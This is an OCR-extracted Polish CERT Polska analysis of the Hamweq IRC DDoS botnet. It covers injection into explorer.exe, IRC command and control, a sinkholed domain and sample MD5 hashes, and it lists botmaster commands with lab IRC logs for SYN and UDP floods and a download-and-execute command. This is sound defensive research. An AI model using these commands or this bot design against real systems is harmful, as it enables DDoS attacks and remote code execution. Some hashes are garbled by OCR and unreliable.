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Oznaczenia

Botmaster - osoba sprawujaca kontrole nad botnetem poprzez serwer CC.
Zombie - zainfekowany komputer pod kontrola botmastera.
Botnet - zbiér komputeréw Zombie, potaczonych do danego serwera CC.

Server CC - serwer poprzez ktéry sprawowana jest kontrola nad botnetem.

1 Wstep

W niniejszym opracowaniu opisane zostaly dzialania zespotu CERT Pol-
ska zwiazane z analizg oraz monitorowaniem aktywnosci komputeréw zainfe-
kowanych malware Hamweq . Celem badania byto poznanie mechanizmdow
dziatania, rozprzestrzeniania si¢ oraz sposobow zarzadzania opisywanym zto-
sliwym oprogramowaniem. Dodatkowo przeprowadzona zostata analiza ko-
mend jaki moga by¢ przestane przez botmastera do zombie.

W poréwnaniu z innymi programami mozliwosci omawianego malware
sg stosunkowo ubogie, a kontrola nad zainfekowanym komputerem ogranicza
sie jedynie do wydawania paru prostych polecen. Stuza one gtownie do prze-
prowadzania atakow DDoS - ktére stanowia obecnie jedno z najwigkszych
zagrozen w sieci (ostatnio czesto nagtasnianych w mediach). Hamweq zo-
stal rowniez wymieniony w raporcie bezpieczenstwa opublikowanych przez
Microsoft w potowie 2010 roku jako jeden z najczesciej spotykanych zto-
sliwych programéw. Znajduje sie on doktadnie na trzecim miejscu , daleko



przed takimi malware jak ZeuS czy SpyEye. Ten wtasnie fakt, oraz brak do-
stepnych szczegdtowych analiz Hamweq w sieci staty sie gtdownym powodem
wybrania tego malware jako przedmiotu badania.

2 Ogoblna charakterystyka

Nazwa gatunku: hamweq
Funkcje: DDoS, spreading
Typ kanatu CC: quasi-scentralizowany, sie¢ IRC
Skala infekcji: duza, umiarkowana tendencja spadkowa
Oznaczenia AV: Win32/Hamweq ; Backdoor.Hamweq

Hamweq jest nazwa rodziny botnetéw floodujacych. Bot Hamweq nie
gromadzi ani nie kradnie danych nalezacych do zainfekowanych uzytkowni-
koéw. Wedtug danych Microsoft byt to jeden z najpopularniejszych botnetow
w pierwszej potowie 2010 roku (1 117 380 wykryé w pierwszym kwartale i
779 731 wykryé w drugim kwartale).

Bot Hamweq sam nie posiada whudowanego protektora (o czym $wiad-
cza wyniki analizy probki 669e11a2a9328bfdb87e2a2dd5f05df7). Jest on
zazwycza] zabezpieczany za pomoca zewnetrznych protektoréw. Probki, kto-
re analizowaliSmy zabezpieczone byty protektorami: kkrunchy i UPX.

Analizowali$my probki o sygnaturach MD5:
1. 11768b975df1645ab245c4a6f16ca680
2. 1d6334aab1023642f8bf568de3b1£f574
3. 37642504918b8bf36133b76e5c065£39
4. 44bb1c82057811503c06d45£9045b1e0
5. 4bbdd4fb62dbe847a3e00a5f1ae56660
58ef9f2459fa26e0c0ab573d678a0bdbb
669e11a2a9328bfdb87e2a2dd5f05df7

7169ee9c8a29d70d74ed654ae391b5c8

© e e

7a13bef5633e140206bcba3b6bcal8701
10. 7c0ecb524687df53a323c2322eec879e

11. 811£c289dd7£94c8a1369f5b88e8c87f



12. 94c940a493e73d65ab551821c6ab7593
13. a37c2£91a958097b0feb6899ffbdebaa
14. b6a769c768205460bd4ca00cdf9c193b

15. c930781b754ecea913cfdfe2d53c2bal

3 Analiza procesu instalacji

Proces instalacji bota Hamweq to typowy proces wstrzykiwania watkow
operacyjnych oraz zabezpieczenia dzialania. Boty Hamweq do rozprzestrze-
niania stosuja techniki typu drive-by download, nie potrafia same rozprze-
strzeniaé sie przez sie¢, infekuja natomiast dyski wymienne. Nie instaluja
rowniez hookow ukrywajacych ani szpiegujacych.

Po uruchomieniu, installer wykonuje operacje na tokenach bezpieczen-
stwa, a nastepnie pobiera liste aktywnych proceséw. Wsrod listy procesow
wyszukuje procesu explorer.exe, przygotowuje watki do wstrzykniecia i
wstrzykuje je. Przygotowanie watkéw obejmuje zapisanie do nich potrzeb-
nych danych (m.in dot. kanalu CC, tj. domeny oraz adreséw potrzebnych
bibliotek). Wstrzyknigte watki tacza sie¢ z serwerem IRC i oczekuja na roz-
kazy.

4 Komunikacja bot — CC

Komunikacja bota z CC odbywa sie za posrednictwem protokotu IRC.
Nazwy domenowe serwerow IRC sa zapisane wewnatrz pliku wykonywalne-
go installera bota (nie jest wykorzystywany zaden mechanizm generowania
nazw, nazwa domenowa jest przypisana do konkretnej prébki). Klient IRC,
ktorym staje sie bot, uwierzytelnia si¢ za pomocg nazwy uzytkownika i hasta,
a nastepnie dotgcza sie do okreslonych kanatow i oczekuje na rozkazy. Nalezy
zwro¢ uwage na dodatkowy mechanizm zabezpieczen uwierzytelniajacy bot-
mastera. Boty odbieraja rozkazy tylko od uzytkownika o okreslonej nazwie
(w jednej z analizowanych prébek: uzytkownika w domenie evil.h-gov).
Przyktadowy log z komunikacji na rys. 4.
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Rysunek 1: Pogladowy schemat dziatania botnetu Hamweq (Zrédto: Micro-
soft)
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Rysunek 2: Wstrzykniety watek (1956)

5 Architektura bota

Architektura bota jest bardzo prosta. Caly zestaw sktada sie w zasa-
dzie z jednego pliku wykonywalnego, tzw. installera, oraz watkéw, ktére on
wstrzykuje. Watki dbajg o to, by installer byl uruchamiany przy kazdym
uruchomieniu systemu, installer natomiast za kazdym razem wstrzykuje je
do procesu explorer.exe. Poszczegolne elementy synchronizujg sie ze soba za
pomocg mutexu.
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Rysunek 3: Domena zapisana we wnetrzu bota



Tl Follow TCP Stream
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Rysunek 4: Przyktadowa konwersacja bota z CC
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Rysunek 5: Architektura infekcji



6 Wybrane oraz interesujgce algorytmy

Brak.

7 Wybrane funkcje bota Hamweq

7.1 Ir

OPIS: (reconnect) roztaczenie i potaczenie z serwerem CC
PARAMETRY: brak
PRZYKLAD:

16:05 < temp001> !Ir

16:05 -!- ptanlv [“tkmjkv@unknow.net] has quit [Read error to
ptanlv[unknow.net]]

16:05 -!- immwae [“kqodgj@unknow.net] has joined #testing

7.2 lq

OPIS: (quit) zakoniczenie procesu bota i uruchomienie nowego
PARAMETRY: brak
PRZYKLAD:
12:05 <BtMaster> !q
12:05 -!- pujliq [“clyiwq@unknow.net] has quit [Read error to
pujliq[unknow.net]]
12:05 -!- aloacp [“qhvakc@unknow.net] has joined #testing

7.3 v

OPIS:  (version) wersja zainstalowanego oprogramowania (bota)
PARAMETRY: brak
PRZYKLAD:
16:05 <BtMaster> !v
16:05 < immwae> 1.4.2

7.4 d

OPIS: (die) dezaktywacja (zakonczenie) procesu bota
PARAMETRY: brak
PRZYKLAD:

16:06 <BtMaster> !d
16:06 -!- immwae [“kqodgj@unknow.net] has quit [Read error to
immwae [unknow.net]]



7.5 !'rem

OPIS: (remove) usuniecie plikéw bota oraz zakonczenie procesu
PARAMETRY: brak
PRZYKLAD:

16:29 <BtMaster> !rem
16:29 -!- xxnklf [“gmdxhn@unknow.net] has quit [Read error to
xxnklf [unknow.net]]

7.6 Is

OPIS: (silence) tryb ”cichy”
PARAMETRY: [bool]
PRZYKLAD:

12:07 <BtMaster> !s 1
12:07 <BtMaster> !v
12:08 <BtMaster> !s O
12:08 <BtMaster> !v
12:08 < upgvtt> 1.4.2

7.7 !joraz!p

OPIS: (join/part) dotacz do kanatu / opusé kanal IRC
PARAMETRY: [string:nazwa-kanalu]
PRZYKLAD:

16:16 <BtMaster> !j #test
16:16 -!- fwneyl [“toqljj@unknow.net] has joined #test

16:18 <BtMaster> !p #test
16:18 -!- fwneyl [“toqljj@unknow.net] has left #test []

7.8 !syn

OPIS: atak pakietami SYN
PARAMETRY: [target-ip] [unknow| [unknow]
UWAGI: wymagane 3 parametry, znaczenie dwoch nie jest znane
PRZYKLAD:

16:18 <BtMaster> !syn 10.0.0.2 100 100
16:18 < fwneyl> Start flooding.



7.9 ludp

OPIS: atak pakietami UDP
PARAMETRY: [target-ip] [target-port] [unknow]
UWAGI: wymagane 3 parametry, znaczenie jednego nie jest znane

PRZYKLAD:

16:04 <BtMaster> !udp 10.0.0.2 1234 2
16:04 < khsvmz> Start flooding.

7.10 !fstop

OPIS: zatrzymanie ataku
PARAMETRY: brak
PRZYKLAD:

16:16 <BtMaster> !fstop
16:16 < fwneyl> Flooding done.

7.11 !dl

OPIS: pobranie i uruchomienie pliku
PARAMETRY: [src-url] [dst-filename] [unknow]
UWAGI: wymagane 3 parametry, znaczenie jednego nie jest znane

PRZYKLAD:

16:27 <BtMaster> !dl http://http-server.local/calc.exe testl.exe 1

8 Monitorowanie domeny botnetowej

Podczas analizy domen zapisanych badanych probkach natrafiono na na-
zwe, ktorej rejestracja wygasta. Najprawdopodobniej domena byta zareje-
strowana na okres testowy (do kilkunastu dni) - po czym zostata porzucona.
Porzucona nazwa zostala zarejestrowana przez CERT Polska w celu monito-
rowania potgczen pochodzacych od komputeréw zainfekowanych wymieniong
probka.

Na podstawie danych zebranych przez okres dwoch miesiecy mozna stwier-
dzi¢, iz botnet najprawdopodobniej zostal ”przerzucony” na inng domene.
Whniosek ten wynika z faktu, iz do ustawionych w laboratorium serweréw
probowato podlaczyé¢ sie jedynie pare komputeréw zombie. Zarejestrowano
réwniez niewspotmierng (do ilosci botéw) ilosé zapytan DNS o ztosliwa do-
mene. Zarejestrowano ich prawie 50 000. Wiekszos¢ zapytan pochodzita ze



statej puli adresow IP i odbywata sie¢ w regularnych odstepach czasowych -
co sugeruje, ze mogty one pochodzi¢ z innych organizacji monitorujacych i
badajacych Hamweq .

9 Podsumowanie

Zabezpieczenia Hamweq sa bardzo stabe. Dysponujemy probka pozba-
wiona jakiejkolwiek obfuskacji, ktéra mogtaby (i bardzo mozliwe, Ze to robi)
stuzy¢ za uproszczony, akademicki przyktad ircbota. Nie posiada on zadnych
zabezpieczen komunikacji ani wykrywania. Dane dotyczace kanatu CC sa
zapisane wewnatrz bota jako zwykte tancuchy. Pozostate probki sg zabezpie-
czone przez protektory innych autoréw. Nie znalezliSmy zadnych algorytmow
godnych szczegblnej uwagi. By¢ moze popularnos¢ Hamweq jest wtasnie
efektem jego prostoty. Prosty bot jest tatwy do zmodyfikowania i powielenia
dla poczatkujacego botmastera.
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